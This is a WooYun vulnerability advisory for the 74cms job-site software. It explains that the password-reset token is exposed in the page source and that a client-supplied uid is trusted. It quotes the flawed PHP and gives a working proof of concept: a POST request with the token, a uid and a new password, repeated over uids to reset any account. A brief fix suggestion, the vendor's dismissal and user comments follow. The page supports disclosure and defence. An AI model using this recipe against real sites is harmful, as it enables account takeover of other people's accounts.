当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(27) 关注此漏洞

缺陷编号: WooYun-2015-137785

漏洞标题: 74cms最新版重置任意账号密码(有条件限制)

相关厂商: 74cms.com

漏洞作者: hello

提交时间: 2015-08-31 10:54

公开时间: 2015-12-04 10:56

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 逻辑错误 php源码审核 白盒测试

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-09-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-30: 细节向核心白帽子及相关领域专家公开
2015-11-09: 细节向普通白帽子公开
2015-11-19: 细节向实习白帽子公开
2015-12-04: 细节向公众公开

简要描述:

密码重置机制可以绕过,同时可重置任意账号密码
demo测试成功

详细说明:

先看下

\user\user_getpass.php

code 区域
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'enter';
$smarty->assign('header_nav',"getpass");
if ($act=='enter')
{
$smarty->assign('title','找回密码 - '.$_CFG['site_name']);
$token=substr(md5(mt_rand(100000, 999999)), 8,16); //生成token
$_SESSION['getpass_token']=$token; //保存到session中
$smarty->assign('token',$token); //通过smarty 显示到前台 我们可以看到
$smarty->display('user/get-pass.htm');
}





我们在看下这个文件下的另一个action



code 区域
elseif($act == "get_pass_save")
{
global $QS_pwdhash;
if(empty($_POST['token']) || $_POST['token']!=$_SESSION['getpass_token']) //这个值上面可以获得得到 这就绕过了
{
$link[0]['text'] = "重新找回密码";
$link[0]['href'] = "?act=enter";
showmsg("找回密码失败,非正常链接",0,$link);
}
$uid=intval($_POST['uid']);//uid可控 遍历uid可重置任意账号密码
$password=$_POST['password']?trim($_POST['password']):showmsg("请输入密码!",1);
$userinfo=get_user_inid($uid);
if(empty($userinfo))
{
$link[0]['text'] = "重新找回密码";
$link[0]['href'] = "?act=enter";
showmsg("修改密码失败",0,$link);
}
$password_hash=md5(md5($password).$userinfo['pwd_hash'].$QS_pwdhash);
$setsqlarr['password']=$password_hash;
$rst=$db->updatetable(table('members'),$setsqlarr,array("uid"=>$userinfo['uid']));//更改密码
if($rst)
{
header("Location: ?act=get_pass_sucess");
}
else
{
showmsg("设置新密码失败!",1);
}
}





漏洞证明:

漏洞证明

无需登录

先访问

code 区域
http://**.**.**.**/user/user_getpass.php



右键查看源代码 看到toke的值

118.png





然后利用这个值访问

code 区域
http://**.**.**.**/user/user_getpass.php?act=get_pass_save



POST提交

token=b6a0859f6f64ed41&uid=2&password=333333

119.png



遍历下uid就可以重置任意账号密码为333333







修复方案:

post[id] 改成sessionid

版权声明:转载请注明来源 hello@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-04 10:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-31 10:55 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    好像补天也有噢

  2. 2015-08-31 10:56 | 牛 小 帅 ( 普通白帽子 | Rank:1470 漏洞数:351 | 1.乌云最帅的男人 ...)
    0

    @牛肉包子 包子哥 你好

  3. 2015-08-31 11:20 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    @牛肉包子 牛肉哥 你好

  4. 2015-12-04 12:05 | phoenix ( 路人 | Rank:6 漏洞数:2 | 多读,多看,多做!)
    0

    666666666666

  5. 2015-12-04 13:38 | Moonbow ( 实习白帽子 | Rank:85 漏洞数:28 | 我就是个渣渣)
    0

    666

  6. 2015-12-05 18:35 | sqlfeng ( 普通白帽子 | Rank:573 漏洞数:74 | http://weibo.com/fds1986)
    0

    重置了好像不能登陆吧...

登录后才能发表评论,请先 登录